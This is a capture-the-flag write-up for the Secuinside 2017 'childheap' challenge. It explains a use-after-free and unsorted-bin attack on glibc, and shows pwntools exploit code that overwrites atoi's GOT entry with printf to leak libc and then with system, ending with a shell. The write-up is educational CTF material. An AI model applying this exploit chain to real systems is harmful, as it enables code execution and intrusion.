childheap (707 pts)

Attachment: childheap libc.so xpl.py

-----ChildHeap 2017 in Secuinside---
1. Allocate
2. Free
3. Modify
> 

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

So, we can allocate a chunk and specify content for it. If a chunk was allocated, we can free it again. Modify will let us update some “user information” (not modifying the allocated chunk).

Let’s take a short glance at the main function:

void main()
{  
  int nChoice; 
  int nInputSize; 
  void *ptrChunk; 
  char cSecretComment; 
  __int64 canary; 

  canary = *MK_FP(__FS__, 40LL);

  ptrChunk = 0LL; 
  setvbuf(stdout, 0LL, 2, 0LL);

  while ( 1 )
  {
    puts("-----ChildHeap 2017 in Secuinside---");
    showMenu();
    nChoice = readInteger();

    if ( nChoice == 1 )                      // 1. Allocate
    {
      if ( ALLOCATED )
      {
        puts("You can't allocate anymore.\n");
      }
      else
      {
        printf("Input size: ");
        nInputSize = readInteger();             

        if ( nInputSize > 511 && nInputSize <= 4095 )
        {
          ptrChunk = malloc(nInputSize + 1);

          printf("Input data: ");
          read(0, ptrChunk, nInputSize - 1);

          ALLOCATED = 1LL;

          if ( !USER_INFO )
            allocate();
        }
        else
        {
          puts("Invalid size!");
        }
      }
    }	
    else if (nChoice == 2)                   // 2. Free
    {
      ALLOCATED = 0LL;
      free(ptrChunk);
    }	
    else if ( nChoice == 3 )                 // 3. Modify
    {
      modify();
    }      	
    else if ( nChoice == 201527 )            // 201527. Secret menu
    {
      printf("Input secret code: ");
      SECRET_INPUT = readInteger();

      if ( SECRET_INPUT == 1397048149 )       
      {
        printf("Give me your last comment: ");
        read(0, &cSecretComment, 1024uLL);
      }
      else
      {
        puts("Invalid code!");
      }
    }
    else
    {
      puts("Invalid choice!");
    }
  }  
}
  • We can only have one allocated chunk at a time (ALLOCATED will be set/reset on malloc/free)
  • The size for the allocated chunk must be between 512 and 4095
  • On the first allocation of a chunk, a chunk for the “user information” will be allocated (USER_INFO)
  • On Free the pointer to the freed chunk won’t be reset, so it can be used for a double-free
  • By entering 201527 we can access the secret menu and add a comment (though comment isn’t needed at all, the read on SECRET_CODE will be useful later on)
  • With modify we can update the user information chunk
void modify()
{
  unsigned __int64 newAge; 
  char sInput; 
  char sNewName[8]; 
  
  if ( USER_INFO )
  {
    printf("Do you want to change age (y/n)? ");
    read(0, &sInput, 2uLL);

    if ( sInput == 'y' )
    {
      printf("Input age: ", &sInput);
      newAge = readInteger();

      if ( newAge > 100 )
      {
        puts("You are too old! :(");
        exit(-1);
      }

      USER_INFO->Age = newAge;
    }

    printf("Input new name: ", &sInput);
    fgets(sNewName, 24, stdin);                         // Allocates an input chunk (size 0x1000)
    fflush(stdin);

    printf("Do you want to change name to new one (y/n)? ", 24LL);
    read(0, &sInput, 2uLL);

    if ( sInput == 'y' )
      memcpy(USER_INFO->Name, sNewName, 24uLL);
  }
  else
  {
    puts("You have to create information first.");
  }  
}

It’s eye-catching, that in the modify function most times read is used to get the user input, but for reading the name it’s fgets.

This has an important side effect, as fgets allocates a chunk on the heap (size 0x1000) for reading user input.

So, after allocating a chunk, our variables in the bss will look like this:

gdb-peda$ x/10x 0x6020a8
0x6020a8: 0x0000000000000000  0x0000000000000211  => Unused    / SECRET_INPUT
0x6020b8: 0x0000000000000001  0x0000000000604020  => ALLOCATED / USER_INFO
0x6020c8: 0x0000000000000000  0x0000000000000000
0x6020d8: 0x0000000000000000  0x0000000000000000
0x6020e8: 0x0000000000000000  0x0000000000000000

If we were able to overwrite the pointer to USER_INFO, we could use modify to get an arbitrary write.

Thus, the plan is to force the binary to allocate a chunk overlapping this pointer. To do so, we’ll first let this area look like a valid chunk by misusing the secret menu, creating a valid size field:

log.info("Allocate => Allocate chunk with size 4095")

alloc(4095, "AAAABBBB")

log.info("Secret   => Create fake chunk by abusing the 'secret menu'")

r.sendline("201527")
r.sendlineafter(":", str(0x211))	# Create fake size 
r.recvuntil(">")

Since we passed a wrong SECRET_INPUT, it won’t ask us for leaving a comment. But we weren’t interested in writing a comment at all :)

After this, the bss area will look like this:

gdb-peda$ x/10x 0x6020a8
0x6020a8:	0x0000000000000000	0x0000000000000211 => Unused    / SECRET_INPUT (fake size)
0x6020b8:	0x0000000000000001	0x0000000000604020 => ALLOCATED / USER_INFO
0x6020c8:	0x0000000000000000	0x0000000000000000
0x6020d8:	0x0000000000000000	0x0000000000000000
0x6020e8:	0x0000000000000000	0x0000000000000000

The allocated chunks on the heap:

gdb-peda$ x/100x 0x603000
0x603000: 0x0000000000000000  0x0000000000001011 => Allocated chunk
0x603010: 0x4242424241414141  0x000000000000000a => Content
0x603020: 0x0000000000000000  0x0000000000000000
0x603030: 0x0000000000000000  0x0000000000000000
0x603040: 0x0000000000000000  0x0000000000000000
0x603050: 0x0000000000000000  0x0000000000000000

...

0x603fd0: 0x0000000000000000  0x0000000000000000
0x603fe0: 0x0000000000000000  0x0000000000000000
0x603ff0: 0x0000000000000000  0x0000000000000000
0x604000: 0x0000000000000000  0x0000000000000000
0x604010: 0x0000000000000000  0x0000000000000031 => USER_INFO chunk
0x604020: 0x0000000000000012  0x37796f626874616d => Age / Name
0x604030: 0x0000000000000000  0x0000000000000000
0x604040: 0x0000000000000000  0x0000000000020fc1
0x604050: 0x0000000000000000  0x0000000000000000

Now, we’ll abuse the fact, that fgets allocates a chunk on the heap for its user input (with size 0x1000).

Since we allocated our chunk with a size around that, when we free it and then call modify, the chunk for fgets will be allocated exactly on top of our previously allocated chunk. Since the original chunk pointer doesn’t get resetted on Free, we’ll have a pointer to the freed chunk, which then also is the chunk for fgets.

Let’s split this up:

log.info("Free     => Free chunk")
free()

log.info("Modify   => Allocates an 'input' chunk, overlapping allocated chunk")
modify(False, 100, True, "CCCCCCCC") 

log.info("Free     => Puts chunk into unsorted bin list again")
free()

After freeing up the allocated chunk:

gdb-peda$ p main_arena
$1 = {
  mutex = 0x0, 
  flags = 0x1, 
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x604040, 
  last_remainder = 0x0, 
  bins = {0x603000, 0x603000, 0x7ffff7dd3b68 <main_arena+104>, 0x7ffff7dd3b68 <main_arena+104>, 0x7ffff7dd3b78 <main_arena+120>, 0x7ffff7dd3b78 <main_arena+120>, 0x7ffff7dd3b88 <main_arena+136>, 
    0x7ffff7dd3b88 <main_arena+136>, 0x7ffff7dd3b98 <main_arena+152>, 0x7ffff7dd3b98 <main_arena+152>, 0x7ffff7dd3ba8 <main_arena+168>, 0x7ffff7dd3ba8 <main_arena+168>, 0x7ffff7dd3bb8 <main_arena+184>, 
    0x7ffff7dd3bb8 <main_arena+184>, 0x7ffff7dd3bc8 <main_arena+200>, 0x7ffff7dd3bc8 <main_arena+200>, 0x7ffff7dd3bd8 <main_arena+216>, 0x7ffff7dd3bd8 <main_arena+216>, 0x7ffff7dd3be8 <main_arena+232>, 
    
gdb-peda$ x/10x 0x603000
0x603000:	0x0000000000000000	0x0000000000001011  => Allocated Chunk (freed)
0x603010:	0x00007ffff7dd3b58	0x00007ffff7dd3b58  => FD / BK
0x603020:	0x0000000000000000	0x0000000000000000
0x603030:	0x0000000000000000	0x0000000000000000

The modify function will now allocate a chunk with size 0x1000 for fgets. Since malloc tries to reuse the top chunk in the unsorted bin list, it will discover our just freed chunk (0x603000) and serve it to the fgets allocation:

gdb-peda$ p main_arena
$2 = {
  mutex = 0x0, 
  flags = 0x1, 
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x604040, 
  last_remainder = 0x0, 
  bins = {0x7ffff7dd3b58 <main_arena+88>, 0x7ffff7dd3b58 <main_arena+88>, 0x7ffff7dd3b68 <main_arena+104>, 0x7ffff7dd3b68 <main_arena+104>, 0x7ffff7dd3b78 <main_arena+120>, 0x7ffff7dd3b78 <main_arena+120>, 
    0x7ffff7dd3b88 <main_arena+136>, 0x7ffff7dd3b88 <main_arena+136>, 0x7ffff7dd3b98 <main_arena+152>, 0x7ffff7dd3b98 <main_arena+152>, 0x7ffff7dd3ba8 <main_arena+168>, 0x7ffff7dd3ba8 <main_arena+168>, 
    0x7ffff7dd3bb8 <main_arena+184>, 0x7ffff7dd3bb8 <main_arena+184>, 0x7ffff7dd3bc8 <main_arena+200>, 0x7ffff7dd3bc8 <main_arena+200>, 0x7ffff7dd3bd8 <main_arena+216>, 0x7ffff7dd3bd8 <main_arena+216>, 
    0x7ffff7dd3be8 <main_arena+232>, 0x7ffff7dd3be8 <main_arena+232>, 0x7ffff7dd3bf8 <main_arena+248>, 0x7ffff7dd3bf8 <main_arena+248>, 0x7ffff7dd3c08 <main_arena+264>, 0x7ffff7dd3c08 <main_arena+264>, 

gdb-peda$ x/10x 0x603000
0x603000:	0x0000000000000000	0x0000000000001011  => Allocated chunk (freed) / fgets read buffer
0x603010:	0x4343434343434343	0x00007ffff7dd3b0a  => Input read by fgets
0x603020:	0x0000000000000000	0x0000000000000000
0x603030:	0x0000000000000000	0x0000000000000000
0x603040:	0x0000000000000000	0x0000000000000000

gdb-peda$ x/10x 0x604010
0x604010:	0x0000000000001010	0x0000000000000031  => USER_INFO chunk
0x604020:	0x0000000000000012	0x4343434343434343  => Age / Input copied by modify
0x604030:	0x000000000000000a	0x0000000000000000
0x604040:	0x0000000000000000	0x0000000000020fc1

So, fgets took the chunk from the unsorted bin list and stored the user input at the same position, the first chunk was allocated at. Since we chose to update the name, it was then copied to the USER_INFO chunk.

After freeing the first chunk again (remember, we still have the dangling pointer from our first allocation, which points also to the fgets chunk), this chunk will be freed and moved to the unsorted bin list again.

gdb-peda$ p main_arena
$5 = {
  mutex = 0x0, 
  flags = 0x1, 
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x604040, 
  last_remainder = 0x0, 
  bins = {0x603000, 0x603000, 0x7ffff7dd3b68 <main_arena+104>, 0x7ffff7dd3b68 <main_arena+104>, 0x7ffff7dd3b78 <main_arena+120>, 0x7ffff7dd3b78 <main_arena+120>, 0x7ffff7dd3b88 <main_arena+136>, 
    0x7ffff7dd3b88 <main_arena+136>, 0x7ffff7dd3b98 <main_arena+152>, 0x7ffff7dd3b98 <main_arena+152>, 0x7ffff7dd3ba8 <main_arena+168>, 0x7ffff7dd3ba8 <main_arena+168>, 0x7ffff7dd3bb8 <main_arena+184>, 
    0x7ffff7dd3bb8 <main_arena+184>, 0x7ffff7dd3bc8 <main_arena+200>, 0x7ffff7dd3bc8 <main_arena+200>, 0x7ffff7dd3bd8 <main_arena+216>, 0x7ffff7dd3bd8 <main_arena+216>, 0x7ffff7dd3be8 <main_arena+232>, 
    0x7ffff7dd3be8 <main_arena+232>, 0x7ffff7dd3bf8 <main_arena+248>, 0x7ffff7dd3bf8 <main_arena+248>, 0x7ffff7dd3c08 <main_arena+264>, 0x7ffff7dd3c08 <main_arena+264>, 0x7ffff7dd3c18 <main_arena+280>, 

gdb-peda$ x/10x 0x603000
0x603000:	0x0000000000000000	0x0000000000001011
0x603010:	0x00007ffff7dd3b58	0x00007ffff7dd3b58
0x603020:	0x0000000000000000	0x0000000000000000
0x603030:	0x0000000000000000	0x0000000000000000

Now, we’re at the starting point again, so what did we win by freeing the chunk again?

The trick here is, that fgets now has an internal pointer to that chunk, since it thinks, it already allocated it. Thus, everytime fgets gets called from now on, it will store its input at this address (overwriting our first chunk).

So, we can now allocate this chunk again, writing to it or we can use fgets in modify to write to this chunk, regardless if the chunk is allocated or not, resulting in a use-after-free.

We’ll use this now, to overwrite the BK pointer in the freed chunk. On the next allocation, malloc will try to take this chunk and remove it from the unsorted bin list. To do so, it has to link the previous and follow-up chunk:

static void *
_int_malloc (mstate av, size_t bytes)
{
...

/*
     Process recently freed or remaindered chunks, taking one only if
     it is exact fit, or, if this a small request, the chunk is remainder from
     the most recent non-exact fit.  Place other traversed chunks in
     bins.  Note that this step is the only place in any routine where
     chunks are placed in bins.

     The outer loop here is needed because we might not realize until
     near the end of malloc that we should have consolidated, so must
     do so and retry. This happens at most once, and only when we would
     otherwise need to expand memory to service a "small" request.
   */

  for (;; )
    {
      int iters = 0;
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;                  // Reads our fake BK pointer
          if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
              || __builtin_expect (victim->size > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);
          size = chunksize (victim);

...

          /* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);    // Writes main_arena ptr into FD pointer from our fake BK pointer (BSS chunk)
...

When removing the chunk from the unsorted bin list, malloc doesn’t check, if the BK pointer points to a valid chunk, so we can specify any address here. Malloc will then overwrite address+0x10 (FD pointer) with a pointer to the unsorted bin list.

log.info("Modify   => Write fake BK into freed chunk")

modify(False, 100, False, p64(0x0)+p64(0x6020b0))	

log.info("Allocate => Removes chunk from unsorted bin list, overwriting FD pointer in fake chunk")

alloc(4095, "AAAABBBB")

Since the FD pointer is chunk offset + 0x10, faking 0x6020b0 as the BK pointer in the chunk will result in overwriting 0x6020c0 with the pointer to the unsorted bin list. 0x6020c0 also happens to be our pointer to the USER_INFO struct :)

gdb-peda$ x/10x 0x6020a8
0x6020a8:	0x0000000000000000	0x0000000000000211  => Unused    / Fake size
0x6020b8:	0x0000000000000001	0x00007ffff7dd3b58  => ALLOCATED / USER_INFO (now pointing to main_arena / unsorted bins)
0x6020c8:	0x0000000000000000	0x0000000000000000
0x6020d8:	0x0000000000000000	0x0000000000000000
0x6020e8:	0x0000000000000000	0x0000000000000000

Though, we now f*cked up the unsorted bin list and trying to free the chunk, we just allocated, would result in a crash, since free tries to check the sanity of the unsorted bin list:

/*
 Place the chunk in unsorted chunk list. Chunks are
 not placed into regular bins until after they have
 been given one chance to be used in malloc.
*/

bck = unsorted_chunks(av);
fwd = bck->fd;

if (__glibc_unlikely (fwd->bk != bck))
{
  errstr = "free(): corrupted unsorted chunks";
  goto errout;
}
gdb-peda$ x/30x &main_arena
0x7ffff7dd3b00 <main_arena>:     0x0000000100000001	0x0000000000000000
0x7ffff7dd3b10 <main_arena+16>:  0x0000000000000000	0x0000000000000000
0x7ffff7dd3b20 <main_arena+32>:  0x0000000000000000	0x0000000000000000
0x7ffff7dd3b30 <main_arena+48>:  0x0000000000000000	0x0000000000000000
0x7ffff7dd3b40 <main_arena+64>:  0x0000000000000000	0x0000000000000000
0x7ffff7dd3b50 <main_arena+80>:  0x0000000000000000	0x0000000000604040 
0x7ffff7dd3b60 <main_arena+96>:  0x0000000000000000	0x0000000000603000 => XXXX / bck->fd
0x7ffff7dd3b70 <main_arena+112>: 0x00000000006020b0	0x00007ffff7dd3b68
0x7ffff7dd3b80 <main_arena+128>: 0x00007ffff7dd3b68	0x00007ffff7dd3b78

gdb-peda$ x/10x 0x603000
0x603000:	0x0000000000000000	0x0000000000001011
0x603010:	0x4242424241414141	0x000000000060200a  => FD / BK
0x603020:	0x000000000000000a	0x0000000000000000

Ok, this will absolutely fail. It first gets a pointer to the unsorted chunks and stores it in bck (0x7ffff7dd3b58). It then gets the FD pointer from that address (bck+0x10 = 0x7ffff7dd3b68 ==> 0x603000). So fwd will be 0x603000 and then it tries to get the BK pointer from there (fwd + 0x18 = 0x60200a).

So, the comparison will be 0x7ffff7dd3b58 == 0x60200a, which obviously fails and thus crashes the application.

But well, we have an editable object pointing straight into the unsorted bin list… The USER_INFO object (which was previously overwritten with a pointer to main_arena). This should help us fixing this mess :)

log.info("Modify   => Overwrite unsorted bin list in main_arena with fake 'secret' chunk pointers to fix unsorted bin list")
modify(False, 100, True, p64(0x0)+p64(0x6020a8)+p64(0x6020a8))

log.info("Free     => Reset allocated check and puts our fake chunk into unsorted bin list again")	
free()

This will write the pointers to our BSS fake chunk into the heap, and then copy it to the address USER_INFO points to (which happens to be main_arena).

So, let’s take another look at this after the modification:

gdb-peda$ x/30x &main_arena
0x7ffff7dd3b00 <main_arena>:     0x0000000100000000	0x0000000000000000
0x7ffff7dd3b10 <main_arena+16>:  0x0000000000000000	0x0000000000000000
0x7ffff7dd3b20 <main_arena+32>:  0x0000000000000000	0x0000000000000000
0x7ffff7dd3b30 <main_arena+48>:  0x0000000000000000	0x0000000000000000
0x7ffff7dd3b40 <main_arena+64>:  0x0000000000000000	0x0000000000000000
0x7ffff7dd3b50 <main_arena+80>:  0x0000000000000000	0x0000000000604040
0x7ffff7dd3b60 <main_arena+96>:  0x0000000000000000	0x00000000006020a8 => XXXX / bck->fd
0x7ffff7dd3b70 <main_arena+112>: 0x00000000006020a8	0x00007ffff7dd3b68
0x7ffff7dd3b80 <main_arena+128>: 0x00007ffff7dd3b68	0x00007ffff7dd3b78

gdb-peda$ x/10x 0x6020a8
0x6020a8:	0x0000000000000000	0x0000000000000211
0x6020b8:	0x0000000000000001	0x00007ffff7dd3b58
0x6020c8:	0x0000000000000000	0x0000000000000000
0x6020d8:	0x0000000000000000	0x0000000000000000

So… bck will still be 0x7ffff7dd3b58, since it’s the pointer to unsorted bins. But bck->fd now changed to 0x6020a8, which points to our fake chunk in the bss. When it now tries to get the FD pointer, it will be (bck+0x10 = 0x7ffff7dd3b68 ==> 0x6020a8). So fwdis now 0x6020a8and when free dereferences it and reads the BK pointer, it will result in fwd+0x18 = 0x6020a8 + 0x18 = 0x6020c0 ==> 0x00007ffff7dd3b58.

So the comparison will now be 0x00007ffff7dd3b58 == 0x00007ffff7dd3b58 resulting in free happily freeing our chunk again.

We now have successfully freed the chunk again, which resets ALLOCATED, allowing us to allocate new chunks again.

gdb-peda$ p main_arena
$13 = {
  mutex = 0x0, 
  flags = 0x1, 
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x604040, 
  last_remainder = 0x0, 
  bins = {0x603000, 0x6020a8, 0x7ffff7dd3b68 <main_arena+104>, 0x7ffff7dd3b68 <main_arena+104>, 0x7ffff7dd3b78 <main_arena+120>, 0x7ffff7dd3b78 <main_arena+120>, 0x7ffff7dd3b88 <main_arena+136>, 
    0x7ffff7dd3b88 <main_arena+136>, 0x7ffff7dd3b98 <main_arena+152>, 0x7ffff7dd3b98 <main_arena+152>, 0x7ffff7dd3ba8 <main_arena+168>, 0x7ffff7dd3ba8 <main_arena+168>, 0x7ffff7dd3bb8 <main_arena+184>,

Though our initial chunk got on top of unsorted bin list, we also managed to write the address from our bss fake chunk into the unsorted bin list. We’re nearly at the finish line :)

Remember, that we abused the secret menu to write a fake chunk size? This will pay off now…

When we now allocate a chunk with a size around 0x210, malloc will try to get a matching chunk from the unsorted bin list, discovering our fake chunk in the bss with a matching chunk size, just waiting there to get allocated :)

log.info("Allocate => Get our fake 'secret' chunk and overwrite 'modify pointer' with ATOI GOT")
payload = "AAAABBBB"
payload += p64(0x602070-0x8-0x2)
	
alloc(512, payload)

Finally a chunk overlapping the USER_INFO pointer and we have absolute control over the content, which will overwrite it.

So, we’ll be using it to overwrite it with the adress of ATOI got (small padding there).

gdb-peda$ x/10x 0x6020a8
0x6020a8:	0x0000000000000000	0x0000000000000211 => Fake chunk
0x6020b8:	0x0000000000000001	0x0000000000602066 => ALLOCATED / USER_INFO (pointing to ATOI got)
0x6020c8:	0x000000000000000a	0x0000000000000000

Now, we should be able to overwrite atoi with the help of the modify function. Though, we have an arbitrary write now, what can we do with it, since ASLR is active and we didn’t found a leak by now to get the libc address?

Well, let’s create a format string vulnerability by overwriting atoi got with printf plt. Thus, everytime atoi gets called, the binary will call printf instead (with the arguments, that should have been passed to atoi).

log.info("Modify   => Overwrite ATOI with printf")
modify(False, 100, True, p64(PRINTF))

The binary uses readInteger to determine which menu option we selected (which then uses atoi to convert our input to a number):

int readInteger()
{
  int result; 
  __int64 buf; 
 
  read(0, &buf, 15uLL);
  result = atoi((const char *)&buf);
 
  return result;
}

This means we have control over the arguments, which will be passed to printf also, so let’s make good use of it:

log.info("Format   => Leak LIBC address")
	
r.sendline("%3$p")        # Parameter 3 contains a LIBC address

LEAK = int(r.recvline().strip(), 16)
LIBC = LEAK - 0xf69b0
SYSTEM = LIBC + 0x45380

print ""
log.info("LIBC leak      : %s" % hex(LEAK))
log.info("LIBC base      : %s" % hex(LIBC))
log.info("SYSTEM         : %s" % hex(SYSTEM))
print ""

So, we’ve got a libc address and calculated the address of system.

If we now overwrite atoi got again, but this time with the address of system, we should be able to trigger a shell.

We just have to remember, that we already changed atoi, so the menu handler won’t be able anymore to convert our input to a number. Entering 3 won’t result in calling modify, but just crash the application instead.

Well, but printf returns the number of characters, which were printed out. Soooo, we just have to print out 3 characters, and the menu handler will interpret this, as if we would have selected 3.

log.info("Modify   => Overwrite ATOI with system")

# Since ATOI was overwritten, the number of chars now define the selected menu => 'AA\n' = 3
r.sendline("AA")
r.sendlineafter("?", "n")               # Ignore age
r.sendlineafter(":", "AA"+p64(SYSTEM))  # Name
r.sendlineafter("?", "y")               # Copy name to destination (ATOI got)
r.recvuntil(">")

This will overwrite atoi got with the address to system. Now everything, we enter at the menu, will call system and pass our input as an argument.

Perfect for calling system("sh") :)

log.info("Trigger shell...")
r.sendline("sh")

r.interactive()
$ python xpl.py 
[+] Starting local process './childheap': pid 4473
[4473]
[*] Paused (press any to continue)
[*] Allocate => Allocate chunk with size 4095
[*] Secret   => Create fake chunk by abusing the 'secret menu'
[*] Free     => Free chunk
[*] Modify   => Allocates an 'input' chunk, overlapping allocated chunk
[*] Free     => Puts chunk into unsorted bin list again
[*] Modify   => Write fake FD/BK into allocated chunk
[*] Allocate => Removes chunk from unsorted bin list, overwriting FD pointer in fake chunk
[*] Modify   => Overwrite unsorted bin list in main_arena with fake 'secret' chunk pointers to fix unsorted bin list
[*] Free     => Reset allocated check and puts our fake chunk into unsorted bin list again
[*] Allocate => Get our fake 'secret' chunk and overwrite 'USER_INFO' with ATOI GOT
[*] Modify   => Overwrite ATOI with printf
[*] Format   => Leak LIBC address

[*] LIBC leak      : 0x7ffff7b069b0
[*] LIBC base      : 0x7ffff7a10000
[*] SYSTEM         : 0x7ffff7a55380

[*] Modify   => Overwrite ATOI with system
[*] Trigger shell...
[*] Switching to interactive mode
$ uname -a
Linux beast 4.9.0-kali4-amd64 #1 SMP Debian 4.9.30-1kali1 (2017-06-06) x86_64 GNU/Linux
$